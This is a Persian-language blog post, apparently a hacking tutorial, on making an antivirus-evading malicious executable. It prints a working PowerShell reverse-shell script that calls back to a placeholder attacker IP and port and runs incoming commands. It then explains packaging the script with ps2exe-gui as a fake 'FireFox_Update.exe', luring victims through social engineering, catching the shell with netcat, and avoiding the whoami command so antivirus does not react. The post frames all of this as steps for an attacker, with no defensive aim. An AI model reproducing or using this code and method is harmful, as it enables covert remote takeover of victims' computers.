در این post به معرفی روشی می پردازیم که مهاجم می تواند با استفاده از آن یک فایل مخرب بسازد که تا زمان نگارش این مطلب توسط آنتی ویروس ها شناسایی نمی شود و در نتیجه مهاجم می تواند با موفقیت کنترل کلی سیستم قربانیان خود را به صورت remote به دست آورد.
سناریوی مورد نظر:
سناریویی را در نظر بگیرید که مهاجم یک فایل مخرب با پسوند exe.* برای قربانی خود طراحی کرده و با استفاده از روش های رایج مهندسی اجتماعی، قربانی را برای به اجرا در آوردن فایل مخرب ترغیب می کند. پس از این که قربانی فایل مخرب را بر روی سیستم خود به اجرا درآورد، مهاجم به صورت remote کنترل کلی سیستم وی را در اختیار دارد.
مراحل اجرای حمله:
مرحله اول: ساخت payload مخرب
ابتدا مهاجم باید یک فایل مخرب exe.* بسازد که در زمان اجرا شدن آن بر روی سیستم قربانی، توسط آنتی ویروس ها، چه Windows Defender چه سایر آنتی ویروس ها مثل Kaspersky و ... شناسایی نشود تا اینجوری مهاجم یا باج افزار بتواند هم برای مدت زمان بیشتری بر روی سیستم قربانی دسترسی داشته باشد، هم این که به صورت ناشناس کنترل سیستم قربانی را در اختیار بگیرد.
همان طور که می دانید شرکت های ارائه دهنده سرویس آنتی ویروس، روز به روز بر اساس روش های جدیدی که برای bypass کردن آنها مطرح می شوند، سعی می کنند خودشان را به روز رسانی کنند. یعنی در واقع خیلی از روش هایی که قبلا با احتمال خیلی زیاد می توانستند آنتی ویروس های مختلفی را bypass کنند، ممکن هست که دیگر به دلیل شناخته شدن pattern و signature آنها توسط انواع آنتی ویروس ها در عمل کارآمد نباشند. برای همین لازم است بگوییم نتایج به دست آمده از روشی که در این post به آن پرداخته می شود، قادر است تا زمان نگارش این post آنتی ویروس های مختلف را با موفقیت bypass کند.
این روش بر روی سیستم های ویندوزی با آنتی ویروس های Windows Defender و Kaspersky بررسی شده که بر روی هر دو مورد مهاجم توانست با موفقیت آنتی ویروس را bypass کند.
اما حالا زمان آن هست که ببینیم روشی که از آن صحبت می کردیم چی هست؟!
برای طراحی payload مخرب کافی است از دستوراتpowershell استفاده بشود! به همین راحتی! کافی است مهاجم یک powershell script بسازد که در آن به آدرس IP و portای که بر روی سیستم مهاجم قرار هست listen باشد، connection زده شود. برای این منظور می توان از دستوری که در زیر آمده استفاده کرد:
$c = New-Object System.Net.Sockets.TCPClient("<Attacker’s _IP>",<Attacker’s _Port>);
$s = $c.GetStream();[byte[]]$b = 0..255|%{0};
while(($i = $s.Read($b, 0, $b.Length)) -ne 0)
{;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb = (iex $d 2>&1 | Out-String );
$sb2 = $sb + "PS " + (pwd).Path + "> ";
$sby = ([text.encoding]::ASCII).GetBytes($sb2);
$s.Write($sby,0,$sby.Length);
$s.Flush()};
$c.Close()
دستوری که مشاهده کردید، کافی است در یک فایل با پسوند ps1.* ذخیره شود:
فایل مخرب مورد نیاز مهاجم آماده است! اما با توجه به این که استفاده از یک powershell script برای ترغیب کردن قربانیان خیلی منطقی نیست و احتمال آن هم خیلی پایین هست، بهتر هست تا جلوه ی بهتری به فایل مخرب بدهیم. بهترین روشی که مهاجم می تواند از آن به راحتی در روش های مختلف مهندسی اجتماعی استفاده بکند و در واقع قربانیان خود را ترغیب بکند تا بر روی این فایل ساخته شده ی مخرب کلیک کنند و آن را به اجرا در بیاورند، یک فایل exe.* هست. پس مرحله بعدی تبدیل این فایل مخرب ps1.* به یک فایل با پسوند exe هست.
مرحله دوم: تبدیل فایل مخرب به فرمت قابل قبول تر
خب همان طور که گفتیم، باید بتوانیم فایل Malicious.ps1 را به یک فایل exe تبدیل کنیم. برای این کار می توان از ابزار ps2exe-gui استفاده کرد. این ابزار فوق العاده می تواند فایل ps1 را به یک فایل exe تبدیل کند و در کنارش قابلیت های بیشتری هم دارد که مثلا می توان برای فایل ساخته شده یک icon در نظر گرفت، شماره نسخه برایش تعیین کرد و ... . نحوه ی اجرای این ابزار در تصویر زیر نمایش داده شده است:
بعد از اجرای موفقیت آمیز ابزار ps2exe-gui نتیجه ای که در تصویر زیر مشاهده می کنید به دست می آید و فایل مخرب FireFox_Update.exe مورد نظر مهاجم با آیکون firefox ایجاد می شود:
مرحله سوم: راه اندازی listener سمت مهاجم
در این مرحله مهاجم باید listener مورد نیاز خود را آماده کند تا به محض اجرا شدن فایل مخرب بر روی سیستم قربانی، بتواند به هدف خود که گرفتن shell از سیستم قربانی هست برسد. برای این منظور می توان از netcat و دستوری که در تصویر مشاهده می شود استفاده کرد:
مرحله چهارم: اجرای فایل مخرب بر روی سیستم قربانی
اکنون زمانی است که مهاجم می تواند فایل مخرب طراحی شده را با استفاده از روش های مهندسی اجتماعی موجود برای قربانی ارسال کند و وی را برای به اجرا در آوردن این فایل ترغیب نماید.
زمانی که قربانی فایل FireFox_Update.exe را به اجرا درآورد، مهاجم می تواند کنترل سیستم قربانی را از راه دور در اختیار بگیرد و بدون این که آنتی ویروس فایل مخرب را شناسایی کرده و آن را پاک کند، دستورات مخرب خود را بر روی سیستم قربانی به اجرا در آورد:
فقط یک نکته ای را باید بگیم. بعد از این که روی سیستم قربانی shell گرفتید، از دستور whoami استفاده نکنید! اجرا شدن دستور whoami روی سیستم قربانی باعث می شود تا آنتی ویروس سیستم قربانی، دسترسی شما را از بین ببرد، فایل شما را مخرب بشناسه و پاکش کند! اما اگر از این دستور استفاده نشود دسترسی شما باقی خواهد ماند و آنتی ویروس هم چیزی تشخیص نمی دهد!
نمونه ای از اجرای مراحل نام برده در ویدئو زیر قابل مشاهده هست: